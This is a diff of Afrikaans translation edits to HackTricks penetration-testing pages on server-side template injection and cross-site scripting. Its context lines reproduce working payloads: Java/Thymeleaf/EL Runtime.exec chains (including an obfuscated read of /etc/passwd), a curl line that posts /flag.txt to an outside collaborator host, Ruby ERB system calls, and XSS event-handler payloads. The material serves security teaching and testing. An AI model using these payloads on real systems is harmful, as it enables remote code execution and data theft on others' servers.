Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **fuzzing the template** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **om die sjabloon te fuzz** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:
|
||||||
|
|
||||||
* Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
|
* Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
|
||||||
* Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
|
* Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
|
||||||
* **Plaintext Context**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
* **Plakonteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
|
||||||
* **Code Context**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
* **Kode-konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.
|
||||||
|
|
||||||
#### Identifikasiefase
|
#### Identifikasiefase
|
||||||
|
|
||||||
|
@ -64,7 +64,7 @@ Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe
|
||||||
|
|
||||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||||
|
|
||||||
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets polyglots gebruik
|
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets poliglotte gebruik
|
||||||
```bash
|
```bash
|
||||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||||
|
@ -105,7 +105,7 @@ ${class.getResource("").getPath()}
|
||||||
${class.getResource("../../../../../index.htm").getContent()}
|
${class.getResource("../../../../../index.htm").getContent()}
|
||||||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||||
```
|
```
|
||||||
**Java - Verkry die stelsels omgewing veranderlikes**
|
**Java - Verkry die stelsels se omgewing veranderlikes**
|
||||||
```java
|
```java
|
||||||
${T(java.lang.System).getenv()}
|
${T(java.lang.System).getenv()}
|
||||||
```
|
```
|
||||||
|
@ -189,7 +189,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||||
```
|
```
|
||||||
|
|
||||||
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlyn_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan lyk soos `[[${7*7}]]`.
|
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlyn_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan soos `[[${7*7}]]` lyk.
|
||||||
|
|
||||||
Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.
|
Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
|
||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit kan lei tot afstandkode-uitvoering wat toegang tot URL's soos:
|
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
|
@ -221,7 +221,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
```java
|
```java
|
||||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||||
```
|
```
|
||||||
**Deur filters te omseil**
|
**Om filters te omseil**
|
||||||
|
|
||||||
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||||
|
|
||||||
|
@ -229,7 +229,7 @@ Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie
|
||||||
```java
|
```java
|
||||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||||
```
|
```
|
||||||
* Pasgemaakte Skrip vir payload-generasie
|
* Pasgemaakte Skrip vir payload generasie
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
@ -328,9 +328,9 @@ Gerepareer deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com
|
||||||
|
|
||||||
### Hubspot - HuBL (Java)
|
### Hubspot - HuBL (Java)
|
||||||
|
|
||||||
* `{% %}` verklaring afdelings
|
* `{% %}` verklaring afbakenings
|
||||||
* `{{ }}` uitdrukking afdelings
|
* `{{ }}` uitdrukking afbakenings
|
||||||
* `{# #}` kommentaar afdelings
|
* `{# #}` kommentaar afbakenings
|
||||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||||
* `{{'a'.toUpperCase()}}` - "A"
|
* `{{'a'.toUpperCase()}}` - "A"
|
||||||
* `{{'a'.concat('b')}}` - "ab"
|
* `{{'a'.concat('b')}}` - "ab"
|
||||||
|
@ -395,7 +395,7 @@ Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbi
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
|
* **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
|
||||||
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
|
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
|
||||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te fasiliteer, wat 'n meer samehangende toepassingsstruktuur verseker.
|
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te laat plaasvind, wat 'n meer samehangende toepassingsstruktuur verseker.
|
||||||
|
|
||||||
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:
|
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:
|
||||||
|
|
||||||
|
@ -506,7 +506,7 @@ array("first_name" => $user.first_name)
|
||||||
|
|
||||||
### Plates (PHP)
|
### Plates (PHP)
|
||||||
|
|
||||||
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Maar, in teenstelling met Twig, wat 'n nuwe sintaksis bekendstel, maak Plates gebruik van inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
|
Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
|
||||||
|
|
||||||
Controller:
|
Controller:
|
||||||
```php
|
```php
|
||||||
|
@ -540,7 +540,7 @@ Layout-sjabloon:
|
||||||
|
|
||||||
### PHPlib en HTML\_Template\_PHPLIB (PHP)
|
### PHPlib en HTML\_Template\_PHPLIB (PHP)
|
||||||
|
|
||||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar oorgedra na Pear.
|
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib maar oorgedra na Pear.
|
||||||
|
|
||||||
`authors.tpl`
|
`authors.tpl`
|
||||||
```html
|
```html
|
||||||
|
@ -683,8 +683,8 @@ URLencoded:
|
||||||
| ------------ | --------------------------------------- |
|
| ------------ | --------------------------------------- |
|
||||||
| | Evalueer en render uitvoer |
|
| | Evalueer en render uitvoer |
|
||||||
| | Evalueer en render HTML-gecodeerde uitvoer |
|
| | Evalueer en render HTML-gecodeerde uitvoer |
|
||||||
| | Kommentaar |
|
| | Kommentaar |
|
||||||
| en | Laat kode toe (standaard gedeaktiveer) |
|
| en | Laat kode toe (standaard gedeaktiveer) |
|
||||||
|
|
||||||
* \= 49
|
* \= 49
|
||||||
|
|
||||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### Ander NodeJS
|
### Ander NodeJS
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
* Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
|
@ -742,7 +742,7 @@ home = pugjs.render(injected_page)
|
||||||
* `{{7*7}} = {{7*7}}`
|
* `{{7*7}} = {{7*7}}`
|
||||||
* `${7*7} = ${7*7}`
|
* `${7*7} = ${7*7}`
|
||||||
* `<%= 7*7 %> = 49`
|
* `<%= 7*7 %> = 49`
|
||||||
* `<%= foobar %> = Fout`
|
* `<%= foobar %> = Error`
|
||||||
```python
|
```python
|
||||||
<%= system("whoami") %> #Execute code
|
<%= system("whoami") %> #Execute code
|
||||||
<%= Dir.entries('/') %> #List folder
|
<%= Dir.entries('/') %> #List folder
|
||||||
|
@ -778,7 +778,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
Kyk na die volgende bladsy om truuks oor **arbitraire opdrag uitvoering wat sandboxes omseil** in python te leer:
|
Kyk na die volgende bladsy om truuks oor **arbitraire opdrag uitvoering om sandboxes te omseil** in python te leer:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -929,7 +929,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
|
Alhoewel dit perl is, gebruik dit merke soos ERB in Ruby.
|
||||||
|
|
||||||
* `<%= 7*7 %> = 49`
|
* `<%= 7*7 %> = 49`
|
||||||
* `<%= foobar %> = Error`
|
* `<%= foobar %> = Error`
|
||||||
|
@ -943,7 +943,7 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
|
||||||
|
|
||||||
* `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
|
* `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
|
||||||
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
|
||||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) verken word.
|
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" te retourneer sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) verken word.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -1003,7 +1003,7 @@ As jy dink dit kan nuttig wees, lees:
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -1017,7 +1017,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
# XSS (Cross Site Scripting)
|
# XSS (Cross Site Scripting)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in **hacking loopbaan** en die onhackable hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons is op soek na mense!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Metodologie
|
## Metodologie
|
||||||
|
|
||||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||||
2. **Vind die konteks** waar dit reflekteer/gebruikt word.
|
2. **Vind die konteks** waar dit reflekteer/gebruikt word.
|
||||||
3. As dit **reflekteer**
|
3. As dit **reflekteer**
|
||||||
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
|
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
|
||||||
|
@ -26,12 +26,12 @@ As jy belangstel in **hacking loopbaan** en die onhackable hack - **ons huur!**
|
||||||
3. Binne **JavaScript kode**:
|
3. Binne **JavaScript kode**:
|
||||||
1. Kan jy die `<script>` tag ontsnap?
|
1. Kan jy die `<script>` tag ontsnap?
|
||||||
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
|
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
|
||||||
3. Is jou invoer in sjabloon literale \`\`?
|
3. Is jou invoer in sjabloon letterlik \`\`?
|
||||||
4. Kan jy beskermings omseil?
|
4. Kan jy beskermings omseil?
|
||||||
4. Javascript **funksie** wat **uitgevoer** word
|
4. Javascript **funksie** wat **uitgevoer** word
|
||||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||||
4. As **gebruik**:
|
4. As **gebruik**:
|
||||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
|
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||||
|
|
||||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor
|
||||||
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
|
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
|
||||||
|
|
||||||
* **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
* **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||||
* **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor is en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
* **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor is en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
||||||
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
|
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
|
||||||
|
|
||||||
## Konteks
|
## Konteks
|
||||||
|
@ -60,9 +60,9 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
|
||||||
|
|
||||||
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
||||||
|
|
||||||
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||||
|
@ -71,17 +71,17 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
### Binne JavaScript kode
|
### Binne JavaScript-kode
|
||||||
|
|
||||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
||||||
|
|
||||||
* As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML kode is nie.
|
